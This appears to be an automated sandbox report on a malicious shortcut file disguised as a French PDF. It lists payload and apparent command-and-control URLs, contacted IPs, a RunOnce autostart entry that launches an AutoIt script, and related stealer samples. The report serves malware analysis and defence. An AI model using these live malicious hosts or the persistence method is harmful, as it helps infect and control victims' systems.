https://static.klipxuhaq.shop/3VKKE.mp4$A	mshta.exe, 00000006.00000003.2369818572.0000013FF08F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.2375224024.0000013FF08F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.2377472191.0000013FF08F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.2371331548.0000013FF08F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.2383432625.0000013FF08F3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://static.klipxuhaq.shop/3VKKE.mp4H	mshta.exe, 00000006.00000002.2384299310.0000013FF09E0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://static.klipxuhaq.shop/3VKKE.mp4return	mshta.exe, 00000006.00000003.2375937583.00000147F795D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pastebin.com/raw/gxDS2LkW	InstallUtil.exe, 00000017.00000002.2639025712.00000000030B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://static.klipxuhaq.shop/3VKKE.mp4...	mshta.exe, 00000006.00000003.2375053800.00000147F347E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	InstallUtil.exe, 00000014.00000002.4634743358.000000000406E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 0000000A.00000002.2542379363.00000228B8412000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000008.00000002.2248157130.00000188E5524000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2333759045.00000188F5011000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2333759045.00000188F5154000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2542379363.00000228B8555000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2542379363.00000228B8412000.00000004.00000800.00020000.00000000.sdmp	false		high
http://cndef1.green-pathways.shop	powershell.exe, 0000000A.00000002.2410097536.00000228A9E32000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2410097536.00000228AA0B4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://static.klipxuhaq.shop/3VKKE.mp4md.exeDri	mshta.exe, 00000006.00000002.2384382321.0000013FF0AE0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://static.klipxuhaq.shop/3VKKE.mp4exe.Co;	powershell.exe, 00000005.00000002.2162496445.000001B7791F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000003.00000002.2167146722.000001C43700D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2160147067.000001B700095000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2248157130.00000188E4FA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2410097536.00000228A83A1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000014.00000002.4612932603.0000000002F51000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.autoitscript.com/autoit3/J	updater.exe, 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmp, updater.exe, 00000013.00000003.2476879837.0000000004804000.00000004.00001000.00020000.00000000.sdmp, updater.exe, 00000013.00000003.2477037205.00000000049C9000.00000004.00001000.00020000.00000000.sdmp, updater.exe, 00000013.00000002.2488230939.00000000048EF000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000002.2632727489.0000000001039000.00000002.00000001.01000000.00000013.sdmp, AutoIt3.exe, 00000016.00000003.2626597841.0000000004A34000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000002.2637708113.0000000004B1F000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000003.2626951599.0000000004BF9000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000003.2705548763.0000000005319000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000002.2712275124.000000000523F000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000002.2708387150.0000000001039000.00000002.00000001.01000000.00000013.sdmp, AutoIt3.exe, 00000018.00000003.2705318551.0000000005154000.00000004.00001000.00020000.00000000.sdmp	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000008.00000002.2248157130.00000188E5524000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2333759045.00000188F5011000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2333759045.00000188F5154000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2542379363.00000228B8555000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2542379363.00000228B8412000.00000004.00000800.00020000.00000000.sdmp	false		high
https://static.klipxuhaq.shop/3VKKE.mp4k	mshta.exe, 00000006.00000002.2388434908.00000147F8450000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://static.klipxuhaq.shop/3VKKE.mp4vvqb	mshta.exe, 00000006.00000003.2377790361.00000147F7962000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.2377871752.00000147F7964000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.2377916509.00000147F7965000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.2377844325.00000147F7963000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pastebin.com/raw/gxDS2LkWPO	InstallUtil.exe, 00000017.00000002.2639025712.00000000030B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	InstallUtil.exe, 00000014.00000002.4634743358.000000000406E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000A.00000002.2410097536.00000228A85D4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://static.klipxuhaq.shop/3VKKE.mp4n	powershell.exe, 00000005.00000002.2163070664.000001B779430000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://static.klipxuhaq.shop/3VKKE.mp4q	powershell.exe, 00000005.00000002.2162496445.000001B779170000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.datacontract.org/2004/07/	InstallUtil.exe, 00000014.00000002.4612932603.0000000002F51000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000A.00000002.2410097536.00000228A85D4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://static.klipxuhaq.shop/3VKKE.mp4p	powershell.exe, 00000005.00000002.2160147067.000001B700001000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://go.micro	powershell.exe, 00000008.00000002.2248157130.00000188E6181000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2410097536.00000228A8FD4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://purl.oenM1	InstallUtil.exe, 00000014.00000002.4657366283.0000000008612000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://csp-invoices-v5.com	powershell.exe, 00000008.00000002.2248157130.00000188E5448000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 0000000A.00000002.2542379363.00000228B8412000.00000004.00000800.00020000.00000000.sdmp	false		high
https://static.klipxuhaq.shop/3VKKE.mp4LMEMP	mshta.exe, 00000006.00000002.2388134533.00000147F7666000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	InstallUtil.exe, 00000014.00000002.4634743358.000000000406E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000007.00000002.3834920834.000002B817C00000.00000004.00000020.00020000.00000000.sdmp	false		high
https://static.kX	powershell.exe, 00000005.00000002.2160147067.000001B7004AD000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://static.klipxuhaq.shop/3VKKE.mp4SSC:	mshta.exe, 00000006.00000003.2369818572.0000013FF08F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.2375224024.0000013FF08F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.2377472191.0000013FF08F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.2371331548.0000013FF08F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.2383432625.0000013FF08F3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	InstallUtil.exe, 00000014.00000002.4634743358.000000000406E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://static.klipxuhaq.shop/3VKKE.mp4https://static.klipxuhaq.shop/3VKKE.mp4;	mshta.exe, 00000006.00000003.2375937583.00000147F795D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 0000000A.00000002.2410097536.00000228A85D4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://static.klipxuhaq.shop/3VKKE.mp4https://static.klipxuhaq.shop/3VKKE.mp4if	mshta.exe, 00000006.00000003.2375937583.00000147F795D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://static.klipxuhaq.shop/3VKKE.mp4https://static.klipxuhaq.shop/3VKKE.mp4=	mshta.exe, 00000006.00000003.2375937583.00000147F795D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	InstallUtil.exe, 00000014.00000002.4634743358.000000000406E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod/C:	svchost.exe, 00000007.00000003.2189651240.000002B817AB3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://92.255.57.75:9000/wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4FP	InstallUtil.exe, 00000014.00000002.4612932603.0000000003460000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://static.klipxuhaq.shop/	mshta.exe, 00000006.00000003.2368382219.0000013FF0911000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.2383568744.0000013FF0914000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://static.klipxuhaq.shop/3VKKE.mp4private	mshta.exe, 00000006.00000003.2375937583.00000147F795D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://static.klipxuhaq.shop/3VKKE.mp4x	mshta.exe, 00000006.00000003.2375937583.00000147F795D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000003.00000002.2167146722.000001C436FDE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2160147067.000001B700049000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2160147067.000001B70005C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2248157130.00000188E4FA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2410097536.00000228A83A1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://csp-invoices-v5.com/pdf/cloudviewer/ref095vq842r70/3rd/party/authorisation/form/20241210/doc	powershell.exe, 00000008.00000002.2248157130.00000188E6B97000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2248157130.00000188E51CD000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://static.klipxuhaq.shop/3VKKE.mp4~	mshta.exe, 00000006.00000003.2369818572.0000013FF08BC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.2375224024.0000013FF08BC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.2383432625.0000013FF08BD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.2377472191.0000013FF08BD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.2371331548.0000013FF08BD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.v	mshta.exe, 00000006.00000003.2375053800.00000147F3453000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.2386392180.00000147F3454000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	InstallUtil.exe, 00000014.00000002.4634743358.000000000406E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://static.klipxuhaq.shop/3VKKE.mp4C:	mshta.exe, 00000006.00000002.2383283172.0000013FF0880000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://static.klipxuhaq.shop/3VKKE.mp4ional	mshta.exe, 00000006.00000002.2383283172.0000013FF08A6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://92.255.57.75:	InstallUtil.exe, 00000014.00000002.4612932603.0000000003460000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://csp-invoices-v5.com	powershell.exe, 00000008.00000002.2248157130.00000188E51CD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2248157130.00000188E5442000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
83.166.133.91	csp-invoices-v5.com	Switzerland	29222	INFOMANIAK-ASCH	false
104.21.112.1	static.klipxuhaq.shop	United States	13335	CLOUDFLARENETUS	true
188.114.97.6	cndef1.green-pathways.shop	European Union	13335	CLOUDFLARENETUS	false
92.255.57.75	unknown	Russian Federation	42253	TELSPRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1576536
Start date and time:	2024-12-17 08:37:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 13m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ref095vq842r70_classement_atout_france.pdf.lnk.d.lnk
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winLNK@42/100@4/5
EGA Information:	Successful, ratio: 28.6%
HCA Information:	Successful, ratio: 99% Number of executed functions: 106 Number of non-executed functions: 316
Cookbook Comments:	Found application associated with file extension: .lnk Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.16.229.162, 162.159.61.3, 172.64.41.3, 199.232.214.172, 23.203.161.57, 3.233.129.217, 52.22.41.97, 3.219.243.226, 52.6.155.20, 2.20.40.170, 23.32.239.56, 2.19.198.27, 2.20.68.228, 2.20.68.207, 18.213.11.84, 54.224.241.105, 50.16.47.176, 34.237.241.83, 13.107.246.43, 52.149.20.212, 23.51.56.185
Excluded domains from analysis (whitelisted): chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, e4578.dscb.akamaiedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ssl.adobe.com.edgekey.net, ocsp.digicert.com, armmf.adobe.com, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, geo2.adobe.com, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Execution Graph export aborted for target mshta.exe, PID 1600 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 3252 because it is empty
Execution Graph export aborted for target powershell.exe, PID 5016 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6596 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6776 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:38:14	API Interceptor	3x Sleep call for process: svchost.exe modified
02:38:15	API Interceptor	110x Sleep call for process: powershell.exe modified
02:38:32	API Interceptor	2x Sleep call for process: AcroCEF.exe modified
02:38:43	API Interceptor	1829570x Sleep call for process: InstallUtil.exe modified
08:38:43	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce bhcbhah "C:\ehcfdbh\AutoIt3.exe" C:\ehcfdbh\bhcbhah.a3x
08:38:51	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\RunOnce bhcbhah "C:\ehcfdbh\AutoIt3.exe" C:\ehcfdbh\bhcbhah.a3x

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.112.1	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	beammp.com/phpmyadmin/
188.114.97.6	236236236.elf	Get hash	malicious	Unknown	Browse	hollweghospitality.com/wp-login.php
	RFQ_P.O.1212024.scr	Get hash	malicious	FormBook	Browse	www.questmatch.pro/1yxc/
	8WgZHDQckx.exe	Get hash	malicious	Pony	Browse	www.dynamotouren.com/?dynamotouren.de
	fUHl7rElXU.xlsx	Get hash	malicious	Unknown	Browse	paste.ee/d/OARvm
	ibk0BQaWAo.exe	Get hash	malicious	Unknown	Browse	orbitdownloader.com/
	ibk0BQaWAo.exe	Get hash	malicious	Unknown	Browse	orbitdownloader.com/
	INVOICE087667899.exe	Get hash	malicious	Unknown	Browse	heygirlisheeverythingyouwantedinaman.comheygirlisheeverythingyouwantedinaman.com:443
	ZciowjM9hN.exe	Get hash	malicious	Lokibot	Browse	vmopahtqdf84hfvsqepalcbcch63gdyvah.ml/BN2/fre.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
static.klipxuhaq.shop	ei0woJS3Dy.lnk	Get hash	malicious	Unknown	Browse	104.21.48.1
static.klipxuhaq.shop	tz1WicW6sG.lnk	Get hash	malicious	Unknown	Browse	104.21.48.1
cndef1.green-pathways.shop	Instruction_695-18112-002_Rev.PDF.lnk.d.lnk	Get hash	malicious	Unknown	Browse	104.21.83.229
bg.microsoft.map.fastly.net	payload_1.hta	Get hash	malicious	RedLine	Browse	199.232.210.172
	ei0woJS3Dy.lnk	Get hash	malicious	Unknown	Browse	199.232.214.172
	BKT2HSG6sZ.exe	Get hash	malicious	RedLine	Browse	199.232.214.172
	69633f.msi	Get hash	malicious	Vidar	Browse	199.232.214.172
	fsg5PWtTm2.lnk	Get hash	malicious	RedLine, SectopRAT	Browse	199.232.210.172
	SkaKk8Z1J0.exe	Get hash	malicious	LummaC	Browse	199.232.214.172
	#U041e#U043f#U043b#U0430#U0442#U0430.xls	Get hash	malicious	Unknown	Browse	199.232.210.172
	Client-built.exe	Get hash	malicious	Quasar	Browse	199.232.210.172
	wayneenterprisesbatcave-6.0.1901-windows-installer.msi	Get hash	malicious	ScreenConnect Tool	Browse	199.232.214.172
	Untitled-1.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
INFOMANIAK-ASCH	Order No 24.exe	Get hash	malicious	FormBook	Browse	128.65.195.180
	RFQ.exe	Get hash	malicious	FormBook	Browse	128.65.195.180
	statement of accounts.exe	Get hash	malicious	FormBook	Browse	128.65.195.180
	RFQ.exe	Get hash	malicious	FormBook	Browse	128.65.195.180
	RFQ.exe	Get hash	malicious	FormBook	Browse	128.65.195.180
	XhAQ0Rk63O.exe	Get hash	malicious	FormBook	Browse	128.65.195.180
	https://www.google.com/url?q=https://www.google.la/amp/s/mail.ccuk.edu.ng/home/&ust=1729769376151000&usg=AOvVaw1rOQXXFFFEiE_w3hFls1yL	Get hash	malicious	Ratty	Browse	128.65.195.91
	https://www.google.com/url?q=https://www.google.la/amp/s/mail.ccuk.edu.ng/home/&ust=1729769376151000&usg=AOvVaw1rOQXXFFFEiE_w3hFls1yL	Get hash	malicious	Ratty	Browse	128.65.195.91
	z95ordemdecomprapdfx4672xx.exe	Get hash	malicious	FormBook	Browse	84.16.66.164
	Doc.exe	Get hash	malicious	Sliver	Browse	128.65.199.135
CLOUDFLARENETUS	payload_1.hta	Get hash	malicious	RedLine	Browse	104.21.87.65
	PAYMENT ADVICE TT07180016-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.67.152
	bxAoaISZJQ.lnk	Get hash	malicious	Unknown	Browse	172.67.139.105
	ei0woJS3Dy.lnk	Get hash	malicious	Unknown	Browse	172.67.140.151
	tz1WicW6sG.lnk	Get hash	malicious	Unknown	Browse	188.114.96.6
	pre-stowage.PDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	HIROSHIMA STAR - VSL's_DETAILS.docx.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	https://quarantine-emails13122024bcpe038qua8303rantine0832411.s3.eu-central-3.ionoscloud.com/message.html#anneke.hanekom@mmiholdings.co.za	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	Assinar_PDF_3476.lNK.lnk	Get hash	malicious	Unknown	Browse	104.21.32.1
	hesaphareketi-01.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
CLOUDFLARENETUS	payload_1.hta	Get hash	malicious	RedLine	Browse	104.21.87.65
	PAYMENT ADVICE TT07180016-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.67.152
	bxAoaISZJQ.lnk	Get hash	malicious	Unknown	Browse	172.67.139.105
	ei0woJS3Dy.lnk	Get hash	malicious	Unknown	Browse	172.67.140.151
	tz1WicW6sG.lnk	Get hash	malicious	Unknown	Browse	188.114.96.6
	pre-stowage.PDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	HIROSHIMA STAR - VSL's_DETAILS.docx.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	https://quarantine-emails13122024bcpe038qua8303rantine0832411.s3.eu-central-3.ionoscloud.com/message.html#anneke.hanekom@mmiholdings.co.za	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	Assinar_PDF_3476.lNK.lnk	Get hash	malicious	Unknown	Browse	104.21.32.1
	hesaphareketi-01.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	payload_1.hta	Get hash	malicious	RedLine	Browse	83.166.133.91 188.114.97.6
	PAYMENT ADVICE TT07180016-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	83.166.133.91 188.114.97.6
	ei0woJS3Dy.lnk	Get hash	malicious	Unknown	Browse	83.166.133.91 188.114.97.6
	tz1WicW6sG.lnk	Get hash	malicious	Unknown	Browse	83.166.133.91 188.114.97.6
	pre-stowage.PDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	83.166.133.91 188.114.97.6
	HIROSHIMA STAR - VSL's_DETAILS.docx.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	83.166.133.91 188.114.97.6
	https://quarantine-emails13122024bcpe038qua8303rantine0832411.s3.eu-central-3.ionoscloud.com/message.html#anneke.hanekom@mmiholdings.co.za	Get hash	malicious	HTMLPhisher	Browse	83.166.133.91 188.114.97.6
	Sublabially.vbs	Get hash	malicious	Remcos, GuLoader	Browse	83.166.133.91 188.114.97.6
	Brokerage Invoice.pdf.vbs	Get hash	malicious	Unknown	Browse	83.166.133.91 188.114.97.6
	Nueva orden de compra-836528268278278.xlsx.exe	Get hash	malicious	Unknown	Browse	83.166.133.91 188.114.97.6
37f463bf4616ecd445d4a1937da06e19	PAYMENT ADVICE TT07180016-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.112.1
	bxAoaISZJQ.lnk	Get hash	malicious	Unknown	Browse	104.21.112.1
	ei0woJS3Dy.lnk	Get hash	malicious	Unknown	Browse	104.21.112.1
	tz1WicW6sG.lnk	Get hash	malicious	Unknown	Browse	104.21.112.1
	Assinar_PDF_3476.lNK.lnk	Get hash	malicious	Unknown	Browse	104.21.112.1
	Sublabially.vbs	Get hash	malicious	Remcos, GuLoader	Browse	104.21.112.1
	69633f.msi	Get hash	malicious	Vidar	Browse	104.21.112.1
	DG55Gu1yGM.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
	he55PbvM2G.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
	fsg5PWtTm2.lnk	Get hash	malicious	RedLine, SectopRAT	Browse	104.21.112.1

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\48216953\updater.exe	payload_1.hta	Get hash	malicious	RedLine	Browse
	fsg5PWtTm2.lnk	Get hash	malicious	RedLine, SectopRAT	Browse
	Whatsapp-GUI.exe	Get hash	malicious	DarkGate, MailPassView	Browse
	Whatsapp-GUI.exe	Get hash	malicious	DarkGate, MailPassView	Browse
	Agreement for Cooperation.PDF.lnk.download.lnk	Get hash	malicious	RedLine	Browse
	malware.zip	Get hash	malicious	Unknown	Browse
	Dark_drop_2_pers_lum_clean.exe.bin.exe	Get hash	malicious	LummaC, DarkGate, LummaC Stealer, MailPassView	Browse
	Agreement for YouTube cooperation.pdf.lnk.download.lnk	Get hash	malicious	LummaC	Browse
	3rd_cc_form_Oct_2024.pdf.lnk.download.lnk	Get hash	malicious	LummaC	Browse
	tQ6Z4Vjp5f.lnk	Get hash	malicious	LummaC	Browse
C:\ehcfdbh\AutoIt3.exe	payload_1.hta	Get hash	malicious	RedLine	Browse
	fsg5PWtTm2.lnk	Get hash	malicious	RedLine, SectopRAT	Browse
	Whatsapp-GUI.exe	Get hash	malicious	DarkGate, MailPassView	Browse
	Whatsapp-GUI.exe	Get hash	malicious	DarkGate, MailPassView	Browse
	Agreement for Cooperation.PDF.lnk.download.lnk	Get hash	malicious	RedLine	Browse
	malware.zip	Get hash	malicious	Unknown	Browse
	Dark_drop_2_pers_lum_clean.exe.bin.exe	Get hash	malicious	LummaC, DarkGate, LummaC Stealer, MailPassView	Browse
	Agreement for YouTube cooperation.pdf.lnk.download.lnk	Get hash	malicious	LummaC	Browse
	3rd_cc_form_Oct_2024.pdf.lnk.download.lnk	Get hash	malicious	LummaC	Browse
	tQ6Z4Vjp5f.lnk	Get hash	malicious	LummaC	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.chk

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.3588072191296206
Encrypted:	false
SSDEEP:	6:6xkoaaD0JOCEfMuaaD0JOCEfMKQmDhxkoaaD0JOCEfMuaaD0JOCEfMKQmD:maaD0JcaaD0JwQQ3aaD0JcaaD0JwQQ
MD5:	663C5D6018506231E334FB3EA962ED1C
SHA1:	539A4641CE92E57E4ADEE32750A817326E596D4C
SHA-256:	066CB701C03237D2612AA647E6BF08EF594360F96E433639B0CC9EED7335F1E1
SHA-512:	5F910653FD1B12B94D314EDEDF6EB2BEC70D369D921EB5B7CF4D199B0374D6C798336E39DBF2781F3B0457280E0DDA63BDF4861DF31C08152544B0F1039D5FCD
Malicious:	false
Preview:	*.>.................D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

